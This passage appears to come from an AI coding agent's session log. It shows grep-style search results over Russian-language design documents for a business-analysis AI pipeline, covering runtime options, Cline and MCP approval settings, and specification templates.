[`kb-policy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/kb-policy.md#L10-L17), \u0442\u043e \u0435\u0441\u0442\u044c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430. \u0420\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u2014 \u0440\u0443\u0447\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435: [MCP \u043d\u0435 \u0432 Auto-approve](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/03-deploy-package.md#L204-L210) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c**: \u0432 hook \u2014 allowlist \u043f\u0430\u0440 \u00ab\u0441\u0435\u0440\u0432\u0435\u0440/\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435; \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u2014 \u044f\u0432\u043d\u0430\u044f \u0444\u0440\u0430\u0437\u0430 \u00ab\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0439\u0442\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0438\u0441\u043a \u0438 \u0447\u0442\u0435\u043d\u0438\u0435\u00bb. \u0414\u043e \u044d\u0442\u043e\u0433\u043e \u2014 **\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435** |\\nprojects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\\n== self-declare\\n34:\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u0435\u0439\u0447\u0430\u0441 \u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043d\u0430\\n39:\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b (\u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0432 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435 \u0438 \u0432\u044b\u0431\u043e\u0440 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432\\n48:   \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u043d\u0430\u043b\u0438\u0447\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f\\n55:   \u0441 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u0438\u043c\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u043c\u0438), \u0430 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c\\n176:| \u0413-19 | \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014 \u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0431\u0438\u0437\u043d\u0435\u0441-\u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0432 \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u043e\u0442\u0434\u0430\u0432\u0430\u0442\u044c | `release.json` \u2014 \u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0430, 2053 \u0431\u0430\u0439\u0442\u0430; \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u0438\u0435 \u2014 `Terms`, `Business context`\u2026 (\u043f\u0440\u043e\u0431\u0430 `P6`; \u043f\u0440\u043e\u0444\u0438\u043b\u044c [`bcreq-client-v1.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/contracts/bcreq-client-v1.json#L8-L36)). \u0427\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c, \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f [\u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u0442\u044c Cline \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u0430\u0442\u044c \u0444\u0430\u0439\u043b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/06-working-with-cline.md#L242-L243) \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c**: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u043d\u0434\u0435\u0440 Release \u0432 Markdown (\u0438\u043b\u0438 DOCX) \u0441 \u0440\u0443\u0441\u0441\u043a\u0438\u043c\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u043c\u0438 \u0438\u0437 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u043a\u0430\u043a \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u044b\u0439 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0448\u0430\u0433. \u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 2 \u0431\u0435\u0437 \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 |\\n208:| \u0427\u0442\u0435\u043d\u0438\u0435 Release \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c | \u041c\u043e\u0434\u0435\u043b\u044c (\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437) | \u041d\u0435\u0442 | \u041d\u0438\u0447\u0435\u0433\u043e ([\u0413-19](#\u0433-19)) |\\n232:   \u043a\u0440\u043e\u043c\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u2014 \u043b\u0438\u0431\u043e JSON, \u043b\u0438\u0431\u043e \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437 \u043c\u043e\u0434\u0435\u043b\u0438: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442, \u043e\u0448\u0438\u0431\u043a\u0438,\\n254:   \u043d\u0435 \u0433\u0435\u0439\u0442, \u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u044f. \u0417\u0430\u0434\u0430\u0447\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u043e\u0433\u043e, \u043a\u0442\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n== CLI transitions\\n40:\u0440\u0443\u043a\u0438 \u0411\u0410, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430; \u0432 Cline \u2014 \u043c\u043e\u0434\u0435\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f\\n135:| \u0427\u0438\u0442\u0430\u0442\u044c \u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435, \u043f\u0438\u0441\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | [`30-decision-framework.md` L49, L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49) \u2014 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb | Runner \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u043d\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430 Working \u2192 Release; \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u0435\u0434\u0451\u0442 \u043c\u043e\u0434\u0435\u043b\u044c | \u041d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e ([\u0413-26](#\u0433-26)) |\\n218:| \u0412-0 | \u041a\u0430\u043a \u0441\u0435\u0439\u0447\u0430\u0441: runner-\u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a, \u0411\u0410 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b | \u25cb | \u25cb | \u25cf | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u041e\u0442\u043f\u0440\u0430\u0432\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 |\\n== ADR-017\\n74:\u041f\u0440\u0438\u043d\u044f\u0442\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0443 `Source \u2192 Distribution \u2192 Runtime \u2192 Feedback \u2192 Source` \u0434\u043b\u044f\\n103:\u2502   \u2514\u2500\u2500 feedback/                  # inbox \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u0438\u043c\u043f\u043e\u0440\u0442\u0435\\n110:\u0438 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u043c feedback. `experiments/` \u0445\u0440\u0430\u043d\u0438\u0442 \u043d\u0435\u0437\u0440\u0435\u043b\u044b\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438; \u0438\u0445 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0432\\n170:\u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0438\u043b\u0438 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0435 feedback-\\n195:\u2514\u2500\u2500 feedback/\\n== forensics classes\\n20:\u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438, \u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445\\n21:\u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430: \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f; \u0442\u0435\u043a\u0443\u0449\u0435\u0435\\n128:| BCREQ-1104 | \u041f\u043e\u0441\u043b\u0435 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u043f\u0440\u0430\u0432\u043e\u043a \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0447\u0435\u0442\u044b\u0440\u0435 \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0431\u0435\u0437 \u043b\u0438\u0448\u043d\u0435\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438. | Human correction \u0434\u043e\u043b\u0436\u043d\u0430 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f regression example, \u0430 \u043d\u0435 \u043e\u0434\u043d\u043e\u0440\u0430\u0437\u043e\u0432\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. |\\n== golden 7\\n19:\u0415\u0434\u0438\u043d\u0430\u044f \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 \u0441\u0435\u043c\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u0430 \u043a API, \u041b\u0438\u0447\u043d\u043e\u043c\u0443\\n20:\u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0443 \u0438 \u041a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0443. \u041e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432\u0435\u0440\u0445\u043d\u0438\u0439 \u0441\u043a\u0435\u043b\u0435\u0442, \u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 4\\n52:| `BCREQ-729.pdf`, 10 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 | API-\u043f\u043e\u043b\u044f \u0438 \u043c\u0435\u0442\u043e\u0434\u044b \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0424\u0422; \u043f\u0440\u0438\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u0438\u0441\u043a \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0445\u0435\u043c\u043e\u0439. |\\n56:| `BCREQ-1069.pdf`, 27 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 | API-\u043a\u0435\u0439\u0441 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u043a\u043b\u044e\u0447\u0435\u0439, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433, \u043c\u0430\u0442\u0440\u0438\u0446\u044b \u0438 24 use cases; \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 \u0424\u0422\u2194UC \u043a\u0430\u043a \u043c\u043d\u043e\u0433\u0438\u0435-\u043a\u043e-\u043c\u043d\u043e\u0433\u0438\u043c. |\\n74:3. **\u00ab\u0414\u043b\u044f API, \u041b\u041a \u0438 \u041a\u0426 \u043d\u0443\u0436\u043d\u044b \u0442\u0440\u0438 \u043d\u0435\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430\u00bb.** \u041d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e.\\n75:   \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b; API \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442,\\n115:- \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0439, \u043a\u043d\u043e\u043f\u043e\u043a, \u0432\u043a\u043b\u0430\u0434\u043e\u043a, \u043c\u0435\u0442\u043e\u0434\u043e\u0432 API, HTTP-\u043a\u043e\u0434\u043e\u0432 \u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432 payload;\\n126:## Golden Form 1 \u2014 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0430 API\",\n[2026-09-29T07:55:15.403Z] [INFO]         \"is_error\": false\n[2026-09-29T07:55:15.403Z] [INFO]       }\n[2026-09-29T07:55:15.403Z] [INFO]     ]\n[2026-09-29T07:55:15.403Z] [INFO]   },\n[2026-09-29T07:55:15.403Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:15.403Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:15.403Z] [INFO]   \"uuid\": \"307a0e56-172d-4d84-8bea-027bb49481d9\",\n[2026-09-29T07:55:15.403Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:15.388Z\",\n[2026-09-29T07:55:15.403Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:55:15.403Z] [INFO]     \"stdout\": \"== reject\\n84:  \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430: n8n, LangGraph, Temporal, Dify, Flowise,\\n85:  Windmill, Kestra, Prefect, Camunda, Operaton, \u0447\u0430\u0442-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u044b\\n226:| \u0412-8 | Dify \u0438\u043b\u0438 Flowise | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n228:| \u0412-10 | BPMN: Camunda 8 \u0438\u043b\u0438 Operaton | \u25cb | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n283:| \u0413-52 | Low-code \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0441 \u0418\u0418 (Dify, Flowise) \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0442 \u043a\u0430\u043a \u044f\u0434\u0440\u043e | Dify \u2014 \u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u0430\u044f Apache \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u043c\u0438 ([LICENSE](https://github.com/langgenius/dify/blob/main/LICENSE)), \u043a\u043e\u0434 \u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0435 \u0431\u0435\u0437 \u0441\u0435\u0442\u0438 \u0438 \u0444\u0430\u0439\u043b\u043e\u0432 ([docs](https://docs.dify.ai/en/use-dify/nodes/code)) \u2014 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c; Flowise \u2014 Node.js ([LICENSE](https://github.com/FlowiseAI/Flowise/blob/main/LICENSE.md)); \u0432 \u043e\u0431\u043e\u0438\u0445 \u0433\u0440\u0430\u0444 \u0440\u0438\u0441\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c \u043a\u0430\u043a \u044f\u0434\u0440\u043e; \u043f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u2014 \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430 |\\n284:| \u0413-53 | BPMN-\u0434\u0432\u0438\u0436\u043e\u043a \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0411\u0410 | Camunda 8 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044e \u0441 \u0432\u0435\u0440\u0441\u0438\u0438 8.6 ([Camunda](https://camunda.com/blog/2024/04/licensing-update-camunda-8-self-managed/)); Operaton \u2014 Apache-2.0 ([\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439](https://github.com/operaton/operaton)), \u043d\u043e \u044d\u0442\u043e Java \u0438 BPMN: \u0433\u0440\u0430\u0444 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 BPMN, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u043d\u0438\u043a\u0438 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c; \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f, \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c BPMN-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 |\\n382:| Dify, Flowise (\u0412-8) | \u041b\u0438\u0446\u0435\u043d\u0437\u0438\u044f Dify, \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0430 \u0431\u0435\u0437 \u0444\u0430\u0439\u043b\u043e\u0432, Node.js \u0443 Flowise, \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430 | [\u0413-52](#\u0433-52) |\\n384:| Camunda 8, Operaton (\u0412-10) | \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f Camunda; Java \u0438 BPMN \u0443 Operaton | [\u0413-53](#\u0433-53) |\\n== n8n reasons\\n66:\u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432 n8n \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432\u0442\u043e\u0440\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0438\u0441\u0442\u0438\u043d\u044b\\n67:\u0440\u044f\u0434\u043e\u043c \u0441 Source; \u0443\u0437\u0435\u043b AI Agent \u0441\u0430\u043c \u0440\u0435\u0448\u0430\u0435\u0442, \u043a\u0430\u043a\u043e\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c, \u2014 \u0442\u0430\\n119:   \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438 \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u0445 \u0441\u0432\u043e\u0435\u0439 \u0441\u0440\u0435\u0434\u044b.\\n121:   \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u043e: \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c\\n207:\u041a1 \u2014 \u0433\u0440\u0430\u0444 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0438\u0437 Source \u0431\u0435\u0437 \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438;\\n== MCP/secrets\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:220:| \u0412-2 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP \u0438\u043b\u0438 skill \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0431\u0435\u0437 runner-\u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e | \u25cb | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:264:| \u0413-38 | MCP-\u0441\u0435\u0440\u0432\u0435\u0440 